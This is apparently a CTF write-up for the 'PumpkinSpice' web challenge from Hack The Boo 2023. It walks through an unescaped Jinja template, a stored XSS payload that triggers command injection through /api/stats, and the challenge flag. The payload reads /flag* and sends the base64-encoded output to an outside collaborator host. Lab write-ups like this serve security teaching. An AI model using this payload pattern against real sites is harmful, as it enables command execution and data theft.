Post

PumpkinSpice

Challenge

  • CTF: Hack The Boo 2023 - Practice Official Writeup
  • Name: PumpkinSpice
  • Category: Web
  • Difficulty: Easy
  • Points: 350
  • Description: In the eerie realm of cyberspace, a shadowy hacker collective known as the “Phantom Pumpkin Patch” has unearthed a sinister Halloween-themed website, guarded by a devious vulnerability. As the moon casts an ominous glow, their cloaked figures gather around the flickering screens, munching on pickles, ready to exploit this spectral weakness.
  • Objective: XSS to blind command injection

Files

Download: web_pumpkinspice.zip

Writeup

Lets spin-up the docker image of the web and setup our static-code analysis IDE:

1
2
code .
sudo ./build-docker.sh

Browsing to the local webpage: http://127.0.0.1:1337/, we are greeted with a free treat submission page: pumpkinspice_1

When submitted, a request is sent to /add/address with our address:

1
2
3
4
5
6
7
8
9
10
POST /add/address HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

address=test%40test.com

When we add an address, a bot is spun up as shown below that loads addresses.html: app.py

1
2
3
4
5
6
7
8
9
10
@app.route("/add/address", methods=["POST"])
def add_address():
    address = request.form.get("address")

    if not address:
        return render_template("index.html", message="No address provided")

    addresses.append(address)
    Thread(target=start_bot,).start()
    return render_template("index.html", message="Address registered")

The bot HTML page is parsed with an unsafe string escape via the |safe operator. This could be used to inject a XSS payload into an address. templates/addresses.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="author" content="lean, xclow3n">
	<title>🎃 Pumpkin Spice 🎃</title>
</head>
<body>
    <h1>System stats:</h1>
    <p id="stats"></p>
    <h1>Addresses:</h1>
    {% for address in addresses %}
        <p>{{ address|safe }}</p>
    {% endfor %}
    <script src="/static/js/script.js"></script>
</body>
</html>

Sending the following XSS payload will send an SSRF request to /api/stats that will execute a command to read the flag, and forward it over to our webhook site. The following XSS payload was used to achieve this:

1
<script>(async () => {{let r=await fetch('/api/stats?command=cat+/flag*');f = await r.text();await fetch('http://1acavp0u3j9z2k41zd76r9rh58b1zrng.oastify.com?c=' + btoa(f))}})()</script>

This triggers the DNS/HTTP request to our webhook site (i.e. burp collaborator): pumpkinspice_2

Spinning up a docker instance and sending the same payload, we can then obtain the real flag. Flag: HTB{th3_tr34t_m1s5i0n}

This post is licensed under CC BY 4.0 by the author.